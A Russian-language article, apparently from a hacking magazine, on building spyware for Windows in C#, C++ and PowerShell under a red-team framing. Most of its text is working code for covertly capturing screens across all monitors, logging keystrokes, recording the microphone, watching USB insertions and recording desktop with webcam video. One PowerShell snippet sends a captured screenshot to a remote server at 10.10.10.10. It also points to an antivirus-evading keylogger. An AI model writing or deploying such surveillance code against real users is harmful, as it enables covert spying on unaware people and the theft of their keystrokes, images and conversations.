March 9

Спайварь на C#. Как устроены средства слежения за пользователями

  1. Скриншот рабочего стола
  2. Кейлоггер
  3. Аудио
  4. Устройства
  5. Веб-камера
  6. Выводы

При ред­тимин­ге иног­да при­ходит­ся изу­чать обста­нов­ку не толь­ко внут­ри сети, но и за ее пре­дела­ми. В час­тнос­ти, по ту сто­рону монито­ра. Работа­ет ли кто‑то за устрой­ством в текущий момент, какое окно откры­то, что говорят в мик­рофон. Давай пос­мотрим, как мож­но, исполь­зуя легитим­ные воз­можнос­ти сис­темы, сле­дить за ничего не подоз­рева­ющим поль­зовате­лем.

Боль­шая часть того, что мы реали­зуем в этой статье, есть толь­ко в Metasploit и в Cobalt Strike. Пер­вый написан на Ruby, а исходни­ки вто­рого зак­рыты. Дру­гих реали­заций я с ходу и не назову, а ведь хочет­ся иметь корот­кие и акку­рат­ные при­меры кода, которые мож­но без проб­лем добавить в собс­твен­ную прог­рамму.

Впро­чем, у меня получи­лось самос­тоятель­но все реали­зовать на C#, а некото­рые прог­раммы — на C++ и PowerShell.

СКРИНШОТ РАБОЧЕГО СТОЛА

Пер­вооче­ред­ная задача — скрин­шоты. Нуж­но уви­деть, что откры­то у текуще­го поль­зовате­ля, в каких прог­раммах он работа­ет и чем сей­час занима­ется.

Ка­залось бы, такая три­виаль­ная задача дает­ся в вось­мом клас­се в качес­тве лет­ней домаш­ки на пас­кале, но не тут‑то было. Авто­ры мно­жес­тва реали­заций забыва­ют об одной инте­рес­ной детали. Догадал­ся, о какой?

По­ка дума­ешь, покажу тебе при­мер кода на PowerShell. Даже с его помощью мож­но сде­лать скрин­шот текуще­го рабоче­го сто­ла.

# Отправляем нажатие клавиши Print Screen, которое сделает скриншот всех экранов [Windows.Forms.SendKeys]::SendWait("{PRTSC}") # Даем системе время, чтобы обработать нажатие клавиши и получить изображение в буфер обмена Start-Sleep -Milliseconds 250 # Получаем изображение из буфера обмена $img = [Windows.Forms.Clipboard]::GetImage() # Сохраняем изображение в файл $filePath = "C:\1.png"$img.Save($filePath, [System.Drawing.Imaging.ImageFormat]::Png) # Выводим информацию о местоположении сохраненного файла Write-Host "Скриншот сохранён в файле: $filePath"

Ус­пешный сни­мок экра­на

Скрипт работа­ет пре­дель­но прос­то — ими­тиру­ет нажатие кноп­ки Print Screen.

В интерне­те мож­но даже встре­тить вари­ант с авто­мати­чес­кой отправ­кой кар­тинки на веб‑сер­вер.

[Windows.Forms.Sendkeys]::SendWait("{PrtSc}") Start-Sleep -Milliseconds 250$x = New-Object System.IO.MemoryStream [Windows.Forms.Clipboard]::GetImage().Save($x, [System.Drawing.Imaging.ImageFormat]::Png) Invoke-WebRequest -Uri "http://10.10.10.10:8080/upload?test.png" -Method POST -Body ([Convert]::ToBase64String($x.ToArray()))

От­прав­ка изоб­ражения на веб‑сер­вер

Ну как, догадал­ся, что не учел автор? У поль­зовате­ля может быть нес­коль­ко монито­ров! Нап­ример, как у меня.

Два монито­ра

Что, если хит­рый сисад­мин ута­щил к себе нес­коль­ко монито­ров и поль­зует­ся ими в свое удо­воль­ствие? Мы из‑за это­го рис­куем упус­тить важ­ную информа­цию из виду!

Ка­бинет про­фес­сиональ­ного адми­нис­тра­тора

Это нак­ладыва­ет некото­рые огра­ниче­ния на выбор наших инс­тру­мен­тов. Если прос­то слать нажатие Print Screen через Windows.Forms, то получа­ем изоб­ражение с текуще­го монито­ра, что нас не устра­ивает.

По­лучить кар­тинку со всех экра­нов мож­но, если обра­тить­ся к свой­ству AllScreens. Оно лежит в System.Windows.Forms.Screen. На выходе я хочу получить один боль­шой скрин­шот, содер­жащий изоб­ражения со всех монито­ров, поэто­му не обой­тись без System.Drawing.

Мы соз­дадим рас­тро­вое изоб­ражение (bitmap), а затем добавим на него скрин­шот с каж­дого экра­на. Получить изоб­ражение с экра­на мож­но через метод CopyFromScreen().

using System; using System.Drawing;using System.Drawing.Imaging; using System.Windows.Forms; class Program{ static void Main() { // Определяем общую область для всех экранов Rectangle totalSize = Rectangle.Empty; foreach (Screen screen in Screen.AllScreens) { totalSize = Rectangle.Union(totalSize, screen.Bounds); } // Создаем новый битмап с размерами общей области using (Bitmap bmpScreenCapture = new Bitmap(totalSize.Width, totalSize.Height)) { // Создаем графический объект для битмапа using (Graphics g = Graphics.FromImage(bmpScreenCapture)) { // Копируем каждый экран по отдельности foreach (Screen screen in Screen.AllScreens) { g.CopyFromScreen(screen.Bounds.X, screen.Bounds.Y, screen.Bounds.X - totalSize.X, screen.Bounds.Y - totalSize.Y, screen.Bounds.Size, CopyPixelOperation.SourceCopy); } } // Сохраняем битмап в файл string filename = "screenshot_all.png"; bmpScreenCapture.Save(filename, ImageFormat.Png); Console.WriteLine(quot;Скриншот всех экранов сохранен как {filename}"); } } }

Ус­пешный зах­ват экра­на

Об­рати вни­мание, что бла­года­ря методу Rectangle.Union() изоб­ражения рас­положе­ны на хол­сте в соот­ветс­твии с нас­трой­ками монито­ров. У меня в сис­теме монито­ры рас­положе­ны, как на скрин­шоте ниже.

Рас­положе­ние монито­ров

Ес­ли перед­винем один экран, то изме­нит­ся и рас­положе­ние изоб­ражений на сним­ке.

Из­менение рас­положе­ния
Из­менен­ное положе­ние изоб­ражений

Ту же логику мож­но реали­зовать и на PowerShell.

$ScriptBlock = { Add-Type -AssemblyName System.Drawing Add-Type -AssemblyName System.Windows.Forms $bounds = [System.Drawing.Rectangle]::Empty foreach ($screen in [System.Windows.Forms.Screen]::AllScreens) { $bounds = [System.Drawing.Rectangle]::Union($bounds, $screen.Bounds) } $bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height $graphics = [System.Drawing.Graphics]::FromImage($bmp) $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size) $bmp.Save('C:\1.png', [System.Drawing.Imaging.ImageFormat]::Png) $graphics.Dispose() $bmp.Dispose()}$Runspace = [runspacefactory]::CreateRunspace() $Runspace.Open() $PowerShell = [powershell]::Create().AddScript($ScriptBlock) $PowerShell.Runspace = $Runspace$PowerShell.Invoke() $Runspace.Close()Write-Host "Screenshot saved to C:\1.png"

Этот код, исполь­зуя опи­сан­ный выше алго­ритм, соз­даст сни­мок экра­на в C:\1.png.

Сни­мок экра­на, сде­лан­ный при помощи PowerShell

На C++ все будет чуточ­ку слож­нее. Так как фун­кция боль­шая, я сна­чала дам пол­ный ее код, а затем раз­берем его по шагам. Итак, фун­кцию я наз­вал SaveBitmap(). Она при­нима­ет лишь один параметр — путь, по которо­му нуж­но сох­ранить изоб­ражение.

#include <windows.h>BOOL WINAPI SaveBitmap(WCHAR* wPath){ BITMAPFILEHEADER bfHeader; BITMAPINFOHEADER biHeader; BITMAPINFO bInfo; HGDIOBJ hTempBitmap; HBITMAP hBitmap; BITMAP bAllDesktops; HDC hDC, hMemDC; LONG lWidth, lHeight; BYTE* bBits = NULL; HANDLE hHeap = GetProcessHeap(); DWORD cbBits, dwWritten = 0; HANDLE hFile; INT x = GetSystemMetrics(SM_XVIRTUALSCREEN); INT y = GetSystemMetrics(SM_YVIRTUALSCREEN); ZeroMemory(&bfHeader, sizeof(BITMAPFILEHEADER)); ZeroMemory(&biHeader, sizeof(BITMAPINFOHEADER)); ZeroMemory(&bInfo, sizeof(BITMAPINFO)); ZeroMemory(&bAllDesktops, sizeof(BITMAP)); hDC = GetDC(NULL); hTempBitmap = GetCurrentObject(hDC, OBJ_BITMAP); GetObjectW(hTempBitmap, sizeof(BITMAP), &bAllDesktops); lWidth = bAllDesktops.bmWidth; lHeight = bAllDesktops.bmHeight; DeleteObject(hTempBitmap); bfHeader.bfType = (WORD)('B' | ('M' << 8)); bfHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER); biHeader.biSize = sizeof(BITMAPINFOHEADER); biHeader.biBitCount = 24; biHeader.biCompression = BI_RGB; biHeader.biPlanes = 1; biHeader.biWidth = lWidth; biHeader.biHeight = lHeight; bInfo.bmiHeader = biHeader; cbBits = (((24 * lWidth + 31) & ~31) / 8) * lHeight; hMemDC = CreateCompatibleDC(hDC); hBitmap = CreateDIBSection(hDC, &bInfo, DIB_RGB_COLORS, (VOID**)&bBits, NULL, 0); SelectObject(hMemDC, hBitmap); BitBlt(hMemDC, 0, 0, lWidth, lHeight, hDC, x, y, SRCCOPY); hFile = CreateFileW(wPath, GENERIC_WRITE | GENERIC_READ, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE == hFile) { DeleteDC(hMemDC); ReleaseDC(NULL, hDC); DeleteObject(hBitmap); return FALSE; } WriteFile(hFile, &bfHeader, sizeof(BITMAPFILEHEADER), &dwWritten, NULL); WriteFile(hFile, &biHeader, sizeof(BITMAPINFOHEADER), &dwWritten, NULL); WriteFile(hFile, bBits, cbBits, &dwWritten, NULL); FlushFileBuffers(hFile); CloseHandle(hFile); DeleteDC(hMemDC); ReleaseDC(NULL, hDC); DeleteObject(hBitmap); return TRUE; } int main() { LPWSTR path = (LPWSTR)L"C:\\1.jpg"; SaveBitmap(path); return 0; }

В начале идет объ­явле­ние необ­ходимых струк­тур и перемен­ных, в час­тнос­ти, инстан­циру­ем экзем­пля­ры BITMAPFILEHEADER и BITMAPINFOHEADER, они необ­ходимы для соз­дания рас­тро­вого изоб­ражения.

BITMAPFILEHEADER bfHeader; BITMAPINFOHEADER biHeader; BITMAPINFO bInfo; HGDIOBJ hTempBitmap; HBITMAP hBitmap; BITMAP bAllDesktops; HDC hDC, hMemDC; LONG lWidth, lHeight;BYTE* bBits = NULL; HANDLE hHeap = GetProcessHeap(); DWORD cbBits, dwWritten = 0;HANDLE hFile;

Сле­дующим шагом с помощью GetSystemMetrics() получа­ем раз­меры вир­туаль­ного экра­на. Вир­туаль­ный экран — пря­моуголь­ник, в который мож­но впи­сать изоб­ражения со всех монито­ров.

INT x = GetSystemMetrics(SM_XVIRTUALSCREEN);INT y = GetSystemMetrics(SM_YVIRTUALSCREEN);

Нап­ример, если у нас два монито­ра: 1920 на 1080 и 3440 на 1440, то по вер­тикали у это­го изоб­ражения дол­жно быть 1080 + 1440 пик­селей, а по горизон­тали — 3440.

Рас­положе­ние монито­ров

Тем не менее очень мно­гое зависит от рас­положе­ния монито­ров. Если они рас­положе­ны по‑дру­гому, то по вер­тикали может быть 1440, а по горизон­тали 3440 + 1080 пик­селей.

Что­бы получить кон­текст устрой­ства (текуще­го вир­туаль­ного экра­на), исполь­зуем GetDc(). Затем извле­каем информа­цию об этом битовом бло­ке (HGDIOBJ) через GetCurrentObject() и GetObjectW().

hDC = GetDC(NULL);hTempBitmap = GetCurrentObject(hDC, OBJ_BITMAP);GetObjectW(hTempBitmap, sizeof(BITMAP), &bAllDesktops);

Сле­дующим шагом оста­ется пра­виль­но под­готовить струк­туру BITMAPFILEHEADER, она нуж­на для всех рас­тро­вых фай­лов. Парал­лель­но не забыва­ем об очис­тке ресур­сов.

lWidth = bAllDesktops.bmWidth;lHeight = bAllDesktops.bmHeight; DeleteObject(hTempBitmap); bfHeader.bfType = (WORD)('B' | ('M' << 8)); bfHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER); biHeader.biSize = sizeof(BITMAPINFOHEADER); biHeader.biBitCount = 24; biHeader.biCompression = BI_RGB; biHeader.biPlanes = 1; biHeader.biWidth = lWidth; biHeader.biHeight = lHeight; bInfo.bmiHeader = biHeader; cbBits = (((24 * lWidth + 31) & ~31) / 8) * lHeight;

За­тем наконец‑то дела­ем «сни­мок». Через CreateCompatibleDc() соз­даем так называ­емый кон­текст памяти. В него будет помещен наш скрин­шот. Сле­дом соз­даем блок сек­ции с информа­цией, опре­делен­ной в BITMAPINFO, через CreateDIBSection(). И (о чудо!) помеща­ем соз­данную сек­цию в кон­текст памяти, а затем копиру­ем в него изоб­ражение экра­на через BitBlt().

hMemDC = CreateCompatibleDC(hDC); hBitmap = CreateDIBSection(hDC, &bInfo, DIB_RGB_COLORS, (VOID**)&bBits, NULL, 0); SelectObject(hMemDC, hBitmap); BitBlt(hMemDC, 0, 0, lWidth, lHeight, hDC, x, y, SRCCOPY);

К сло­ву, имен­но фун­кция BitBlt() исполь­зует­ся во вся­кой вирус­няге вро­де HRDP и HVNC. Но опи­сание прин­ципа работы таких инс­тру­мен­тов тянет далеко не на одну статью (изви­няюсь за веселый калам­бур).

Ос­тает­ся лишь счи­тать дан­ные и записать их в наш выход­ной файл.

hFile = CreateFileW(wPath, GENERIC_WRITE | GENERIC_READ, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE == hFile) { DeleteDC(hMemDC); ReleaseDC(NULL, hDC); DeleteObject(hBitmap); return FALSE; } WriteFile(hFile, &bfHeader, sizeof(BITMAPFILEHEADER), &dwWritten, NULL); WriteFile(hFile, &biHeader, sizeof(BITMAPINFOHEADER), &dwWritten, NULL); WriteFile(hFile, bBits, cbBits, &dwWritten, NULL); FlushFileBuffers(hFile); CloseHandle(hFile); DeleteDC(hMemDC); ReleaseDC(NULL, hDC); DeleteObject(hBitmap); return TRUE;}

КЕЙЛОГГЕР

Не упо­мянуть такой инс­тру­мент из стан­дар­тно­го джентль­мен­ско­го набора я не мог, но и в оче­ред­ной раз опи­сывать пос­троч­но прин­цип работы кода на том же GetAsyncKeyState() или хуках не очень хочет­ся. Поэто­му прос­то дам ссыл­ки на наибо­лее удач­ные реали­зации и наибо­лее инте­рес­ные статьи на эту тему.

  • «Кей­лог­гер по‑домаш­нему. Пишем на C# кей­лог­гер, который не палит­ся анти­виру­сами»;
  • Writing a Decent Win32 Keylogger — тут опи­сано, как писать кей­лог­гер, который кор­рек­тно логиру­ет любые кла­виши на любой кла­виату­ре (при­вет проб­лемам с кодиров­кой!).

А еще в Windows сущес­тву­ет фун­кция SetWindowsHookEx(), с ее помощью мож­но уста­новить хук. Хук поз­воля­ет перенап­равить поток управле­ния целевой прог­раммы в наш код. Если мы пос­тавим хук на WH_KEYBOARD, то смо­жем отсле­живать все нажатия кла­виш в сис­теме.

Об­рати вни­мание, что Message Box будет воз­никать дваж­ды, даже ког­да кла­виша была нажата еди­нож­ды. Пер­вый раз — при опус­кании кла­виши (WM_KEYDOWN), а затем при под­нятии (WN_KEYUP).

Аль­тер­натив­ный вари­ант — исполь­зовать GetAsyncKeyState(). Этот механизм пыта­ется най­ти нажатую в текущий момент кла­вишу. Если фун­кция опре­дели­ла, что кла­виша нажата, кей­лог­гер зап­ротоко­лиру­ет это.

#include <windows.h>#include <fstream> int main() { std::ofstream file; file.open("log.txt", std::fstream::app); while (true) { Sleep(10); // Пауза, чтобы снизить нагрузку на процессор for (int key = 8; key <= 190; key++) { if (GetAsyncKeyState(key) == -32767) { // Если клавиша была нажата HWND foreground = GetForegroundWindow(); if (foreground) { file << char(key); // Запись нажатой клавиши в файл file.flush(); } } } } file.close(); return 0; }

На GitHub есть и пол­ноцен­ная реали­зация.

Как вари­ант, мож­но логиро­вать нажатые кла­виши через ETW, но это сра­бота­ет толь­ко с вир­туаль­ной (экранной) кла­виату­рой. Тем не менее та­кой PoC тоже есть.

АУДИО

Хо­чешь пос­лушать, как материт­ся сисад­мин и о чем бол­тает сек­ретар­ша? Давай реали­зуем под­дер­жку аудио!

На C++ код, который нам для это­го понадо­бит­ся, будет боль­шим, гро­моз­дким и неудоб­ным. Плюс для исполне­ния в памяти (как мы любим) пот­ребу­ется кон­верти­ровать его в шелл‑код, затем думать над инжекто­ром, а уж делать COFF — это сов­сем для избран­ных.

Итак, вос­поль­зуем­ся C#. Для записи аудио удоб­но исполь­зовать Nuget-пакет NAudio..

public void StartRec() { WaveSourceStream = new NAudio.Wave.WaveInEvent(); WaveSourceStream.DeviceNumber = 0; WaveSourceStream.WaveFormat = new WaveFormat(16000,1); WaveSourceStream.DataAvailable += sourceStream_DataAvailable; WaveSourceStream.StartRecording(); bufl = new List<byte[]>(); }

Впро­чем, все‑таки луч­ше написать с нуля. У меня получи­лась вот такая прог­рамма.

using System; using NAudio.Wave;using NAudio.Lame; namespace MicrophoneRecordToMp3{ class Program { static void Main(string[] args) { int deviceNumber = 1; string outputFilePath = "recorded_audio.mp3"; using (var waveIn = new WaveInEvent()) { waveIn.DeviceNumber = deviceNumber; waveIn.WaveFormat = new WaveFormat(44100, 1); var writer = new LameMP3FileWriter(outputFilePath, waveIn.WaveFormat, LAMEPreset.STANDARD); void WaveInDataAvailable(object sender, WaveInEventArgs e) { writer.Write(e.Buffer, 0, e.BytesRecorded); } waveIn.DataAvailable += WaveInDataAvailable; waveIn.StartRecording(); Console.WriteLine("Recording... Press Enter to stop and save the file."); Console.ReadLine(); waveIn.StopRecording(); } Console.WriteLine(quot;Recording saved to '{outputFilePath}'"); } } }

Этот код поз­воля­ет записы­вать аудио с мик­рофона в фор­мате .mp3 до тех пор, пока не будет нажата кла­виша Enter. Проб­лема в том, что здесь стро­го исполь­зует­ся некото­рое пер­вое (deviceNumber = 1) мик­рофон­ное устрой­ство. Что­бы исполь­зовать устрой­ство по умол­чанию, прос­то уда­лим эти стро­ки.

Ни­же — финаль­ный PoC.

using System; using NAudio.Wave; using NAudio.Lame; namespace MicrophoneRecordToMp3{ class Program { static void Main(string[] args) { // Путь для сохранения файла string outputFilePath = "recorded_audio.mp3"; // Инициализация объекта WaveInEvent для записи с микрофона using (var waveIn = new WaveInEvent()) { // Задаем формат записи: частота дискретизации 44 100 Гц, один канал (моно) waveIn.WaveFormat = new WaveFormat(44100, 1); // Создаем MP3 writer и оборачиваем его в using, чтобы обеспечить корректное закрытие файла using (var writer = new LameMP3FileWriter(outputFilePath, waveIn.WaveFormat, LAMEPreset.STANDARD)) { // Обработчик события DataAvailable void WaveInDataAvailable(object sender, WaveInEventArgs e) { writer.Write(e.Buffer, 0, e.BytesRecorded); } // Подписываемся на событие DataAvailable waveIn.DataAvailable += WaveInDataAvailable; // Начинаем запись waveIn.StartRecording(); Console.WriteLine("Recording... Press Enter to stop and save the file."); // Ждем нажатия клавиши Enter для остановки записи Console.ReadLine(); // Останавливаем запись waveIn.StopRecording(); } } // Сообщаем о сохранении записи Console.WriteLine(quot;Recording saved to '{outputFilePath}'"); } } }

В статье, конеч­но, про­демонс­три­ровать тебе звук не могу, но он был успешно записан, чес­тно‑чес­тно!

Файл с записью зву­ка

Кста­ти, если тебя инте­ресу­ет спо­соб на C++, то мож­но исполь­зовать Windows Wave API, при­мер кода есть на GitHub.

Впро­чем, сущес­тву­ют про­екты, уме­ющие писать звук и через DirectX, нап­ример SharpDXWebcam.

Хо­чешь при­колоть­ся над адми­ном в луч­ших тра­дици­ях «Запад­лос­тро­ения»? Если он любит слу­шать на работе музыку, то мы можем через NAudio изме­нить уро­вень гром­кости! Устрой дис­котеку!

using NAudio.CoreAudioApi; using System; public class VolumeChanger{ public void SetVolume(int volumeLevel) { if (volumeLevel < 0 || volumeLevel > 100) throw new ArgumentException("Volume must be between 0 and 100."); // Инициализация объекта MMDeviceEnumerator для взаимодействия с аудиоустройствами MMDeviceEnumerator devEnum = new MMDeviceEnumerator(); MMDevice defaultDevice = devEnum.GetDefaultAudioEndpoint(DataFlow.Render, Role.Multimedia); // Приведение указанного уровня громкости в диапазоне от 0 до 100 к диапазону от 0,0 до 1,0 float normalizedVolumeLevel = volumeLevel / 100.0f; // Установка уровня громкости defaultDevice.AudioEndpointVolume.MasterVolumeLevelScalar = normalizedVolumeLevel; // Опционально: включение/выключение звука (mute/unmute) //defaultDevice.AudioEndpointVolume.Mute = false; } } class Program{ static void Main(string[] args) { VolumeChanger changer = new VolumeChanger(); changer.SetVolume(50); // Установка громкости на 50% } }

Ес­ли нам нуж­но исполь­зовать C++, то при­дет­ся лезть в COM.

#include <Windows.h> #include <mmdeviceapi.h> #include <endpointvolume.h> #include <iostream> #pragma comment(lib, "ole32.lib") #pragma comment(lib, "winmm.lib")int main() { HRESULT hr = CoInitialize(NULL); if (FAILED(hr)) { std::cout << "Не удалось инициализировать COM библиотеку" << std::endl; return hr; } IMMDeviceEnumerator* deviceEnumerator = NULL; hr = CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_INPROC_SERVER, __uuidof(IMMDeviceEnumerator), (LPVOID*)&deviceEnumerator); if (FAILED(hr)) { std::cout << "Не удалось создать экземпляр MMDeviceEnumerator" << std::endl; CoUninitialize(); return hr; } IMMDevice* defaultDevice = NULL; hr = deviceEnumerator->GetDefaultAudioEndpoint(eRender, eMultimedia, &defaultDevice); deviceEnumerator->Release(); if (FAILED(hr)) { std::cout << "Не удалось получить устройство по умолчанию" << std::endl; CoUninitialize(); return hr; } IAudioEndpointVolume* endpointVolume = NULL; hr = defaultDevice->Activate(__uuidof(IAudioEndpointVolume), CLSCTX_INPROC_SERVER, NULL, (LPVOID*)&endpointVolume); defaultDevice->Release(); if (FAILED(hr)) { std::cout << "Не удалось активировать интерфейс громкости" << std::endl; CoUninitialize(); return hr; } // Установить громкость (0.0 — минимум, 1.0 — максимум) float newVolume = 0.5; // 50% hr = endpointVolume->SetMasterVolumeLevelScalar(newVolume, NULL); if (FAILED(hr)) { std::cout << "Не удалось установить уровень громкости" << std::endl; } else { std::cout << "Громкость установлена на " << newVolume * 100 << "%" << std::endl; } endpointVolume->Release(); CoUninitialize(); return 0; }

УСТРОЙСТВА

К целево­му компь­юте­ру могут быть под­клю­чены раз­ные устрой­ства: флеш­ки, телефо­ны, мыш­ки, кла­виату­ры. Для работы с устрой­ства­ми сущес­тву­ет целый класс API.

Нап­ример, великий Павел Йоси­фович в сво­ей кни­ге Windows 10 System Programming Part 1 на стра­нице 540 демонс­три­рует фун­кцию DisplayDevices(). С ее помощью воз­можно перечис­лить под­клю­чен­ные устрой­ства.

Вы­вод информа­ции об устрой­ствах

#define INITGUID #include <string> #include <vector> #include <wiaintfc.h> #include <Windows.h> #include <SetupAPI.h> #include <Wiaintfc.h> #include <Ntddvdeo.h> #include <initguid.h> #include <Usbiodef.h> #include <devpkey.h> #include <Ntddkbd.h> #include <ntddmou.h> #include <ntddvdeo.h> #include <locale> #pragma comment(lib, "SetupAPI.lib")struct DeviceInfo { std::wstring SymbolicLink; std::wstring FriendlyName;}; void DisplayDevices(const std::vector<DeviceInfo>& devices, const char* name) { printf("%s\n%s\n", name, std::string(::strlen(name), '-').c_str()); for (auto& di : devices) { printf("Symbolic link: %ws\n", di.SymbolicLink.c_str()); printf(" Name: %ws\n", di.FriendlyName.c_str()); auto hDevice = ::CreateFile(di.SymbolicLink.c_str(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr); if (hDevice == INVALID_HANDLE_VALUE) printf(" Failed to open device (%d)\n", ::GetLastError()); else { printf(" Device opened successfully!\n"); ::CloseHandle(hDevice); } } printf("\n"); } std::vector<DeviceInfo> EnumDevices(const GUID& guid) { std::vector<DeviceInfo> devices; auto hInfoSet = ::SetupDiGetClassDevs(&guid, nullptr, nullptr, DIGCF_PRESENT | DIGCF_INTERFACEDEVICE); if (hInfoSet == INVALID_HANDLE_VALUE) return devices; devices.reserve(4); SP_INTERFACE_DEVICE_DATA data = { sizeof(data) }; PSP_INTERFACE_DEVICE_DETAIL_DATA DevDetail; SP_DEVINFO_DATA ddata = { sizeof(ddata) }; BYTE buffer[1 << 12]; DWORD dw; for (DWORD i = 0; ; i++) { if (!::SetupDiEnumDeviceInterfaces(hInfoSet, nullptr, &guid, i, &data)) { dw = GetLastError(); break; } ULONG needed, l; ::SetupDiGetDeviceInterfaceDetail(hInfoSet, &data, NULL, 0, &needed, 0); l = needed; DevDetail = (SP_DEVICE_INTERFACE_DETAIL_DATA*)GlobalAlloc(GPTR, l + 4); DevDetail->cbSize = sizeof(SP_INTERFACE_DEVICE_DETAIL_DATA); if (::SetupDiGetDeviceInterfaceDetail(hInfoSet, &data, DevDetail, l, &needed, &ddata)) { DeviceInfo info; info.SymbolicLink = DevDetail->DevicePath; if (::SetupDiGetDeviceRegistryProperty(hInfoSet, &ddata, SPDRP_DEVICEDESC, nullptr, buffer, sizeof(buffer), nullptr)) info.FriendlyName = (WCHAR*)buffer; devices.push_back(std::move(info)); } dw = GetLastError(); } ::SetupDiDestroyDeviceInfoList(hInfoSet); return devices; } int main() { setlocale(LC_ALL, ""); auto devices = EnumDevices(GUID_DEVINTERFACE_IMAGE); DisplayDevices(devices, "Image"); DisplayDevices(EnumDevices(GUID_DEVINTERFACE_MONITOR), "Monitor"); DisplayDevices(EnumDevices(GUID_DEVINTERFACE_DISPLAY_ADAPTER),"Display Adapter"); DisplayDevices(EnumDevices(GUID_DEVINTERFACE_DISK), "Disk"); DisplayDevices(EnumDevices(GUID_DEVINTERFACE_KEYBOARD), "keyboard"); DisplayDevices(EnumDevices(GUID_DEVINTERFACE_USB_DEVICE), "usb"); DisplayDevices(EnumDevices(GUID_DEVINTERFACE_MOUSE), "mouse"); return 0; }

Что уж тут говорить, для одной толь­ко батареи в Windows есть отдель­ный API — GetSystemPowerStatus().

#include <iostream> #include <Windows.h> #include <locale> int main() { setlocale(LC_ALL, ""); SYSTEM_POWER_STATUS sps; if (GetSystemPowerStatus(&sps)) { int batteryLifePercent = sps.BatteryLifePercent; if (batteryLifePercent != 255) { std::cout << "Текущий заряд батареи: " << batteryLifePercent << "%" << std::endl; } else { std::cout << "Заряд батареи неизвестен." << std::endl; } } else { std::cout << "Не удалось получить информацию о состоянии питания." << std::endl; } return 0; }

Ин­форма­ция о батарее

Кста­ти, мож­но зло­упот­реблять Windows Power Management API: реали­зовать необыч­ный метод пер­систа, при котором наш код будет исполнять­ся при вклю­чении или отклю­чения дис­плея.

Ес­ли опус­кать­ся чуть ниже, то основное вза­имо­дей­ствие с любым устрой­ством про­исхо­дит через API DeviceIoControl().

BOOL DeviceIoControl( _In_ HANDLE hDevice, _In_ DWORD dwIoControlCode, _In_ LPVOID lpInBuffer, _In_ DWORD nInBufferSize, _Out_ LPVOID lpOutBuffer, _In_ DWORD nOutBufferSize, _Out_opt_ LPDWORD lpBytesReturned, _Inout_opt_ LPOVERLAPPED lpOverlapped);

За­тык может про­изой­ти уже на вто­ром аргу­мен­те — dwIoControlCode. Для каж­дого устрой­ства могут быть уста­нов­лены собс­твен­ные управля­ющие коды, что нес­коль­ко усложня­ет про­цесс раз­работ­ки.

Тем не менее сущес­тву­ет нес­коль­ко средств, которые помогут разоб­рать­ся с устрой­ства­ми по API. Рекомен­дую обра­тить вни­мание на DevCon. Это пол­ноцен­ная боль­шая прог­рамма, которая поз­воля­ет извле­кать информа­цию об устрой­ствах и управлять ими.

Впро­чем, для сле­жения нам дос­таточ­но лишь вов­ремя получать информа­цию о под­клю­чении устрой­ства. Из C# в таком слу­чае про­ще обра­щать­ся к WMI. Я так сде­лал в про­екте USB-Monitor.

Там на помощь при­шел WqlEventQuery, с ним мы можем зарегис­три­ровать кол­бэк, который будет выз­ван при под­клю­чении нового USB-устрой­ства.

Даль­ше дело за малым — нуж­но, исхо­дя из поля Service, опре­делить, какое устрой­ство вста­вили. В слу­чае флеш­ки будет стро­ка USBSTOR, затем нуж­но кон­верти­ровать наз­вание физичес­кого дис­ка (\\.\PHYSICALDRIVE) в при­выч­ную бук­ву (E:), а потом прос­то вывес­ти содер­жимое пап­ки, что­бы уви­деть инте­рес­ные фай­лы на флеш­ке.

На C++ мож­но обра­баты­вать раз­личные сооб­щения WM_DEVICE, но для это­го тре­бует­ся соз­давать окон­ное при­ложе­ние, что нам не очень под­ходит.

ВЕБ-КАМЕРА

Ес­ли у поль­зовате­ля есть веб‑камера, зна­чит, мы тоже можем ей вос­поль­зовать­ся. Одна­ко здесь все чуточ­ку слож­нее.

Сно­ва есть вари­анты работы через DirectX:

  • Get-DXWebcamVideo.ps1;
  • SharpDXWebCam.

Проб­лема в том, что в этих про­ектах мно­гова­то кода, а нам нуж­но отно­ситель­но малень­кое ком­пак­тное решение. Поэто­му при­бега­ем к помощи Accord.Video. Заод­но добавим и запись экра­на с веб‑камеры. Будет пол­ноцен­ная прок­тор‑прог­рамма!

Код, конеч­но, все рав­но получил­ся немалень­ким, поэто­му я залил его на GitHub.

Стар­товая фун­кция выг­лядит вот так.

private static VideoFileWriter writer; private static Bitmap videoFrame; private static Bitmap webcamFrame; private static readonly object videoFrameLock = new object();private static readonly object webcamFrameLock = new object(); private static bool isRecording = true; static void Main(){ Rectangle bounds = GetScreenBounds(); int width = bounds.Width; int height = bounds.Height; writer = new VideoFileWriter(); writer.Open("desktop_with_webcam.avi", width, height, 10, VideoCodec.MPEG4, 10000000); Thread screenThread = new Thread(() => CaptureDesktop(bounds)); screenThread.Start(); VideoCaptureDevice videoSource = StartWebCamCapture(); Thread.Sleep(20000); // Двадцать секунд для записи isRecording = false; videoSource.SignalToStop(); videoSource.WaitForStop(); screenThread.Join(); writer.Close(); Console.WriteLine("Recording finished."); }

Сна­чала заводим нес­коль­ко гло­баль­ных перемен­ных (это всё внут­ри клас­са Program, поэто­му будет пра­виль­нее ска­зать ста­тичес­ких). Пос­ле чего получа­ем раз­меры всех монито­ров, что­бы понять раз­меры вир­туаль­ного экра­на. Раз­меры получа­ем по уже опи­сан­ному ранее алго­рит­му.

static Rectangle GetScreenBounds(){ Rectangle bounds = Rectangle.Empty; foreach (Screen screen in Screen.AllScreens) { bounds = Rectangle.Union(bounds, screen.Bounds); } return bounds;}

За­тем ини­циали­зирую инстанс клас­са VideoFileWriter(). Парамет­ры озна­чают, что будет соз­дан виде­офайл desktop_with_webcam.avi раз­мером, как у рабочей области экра­на, будет делать­ся 10 кад­ров в секун­ду, с исполь­зовани­ем кодека MPEG4 и бит­рей­том 10 000 000.

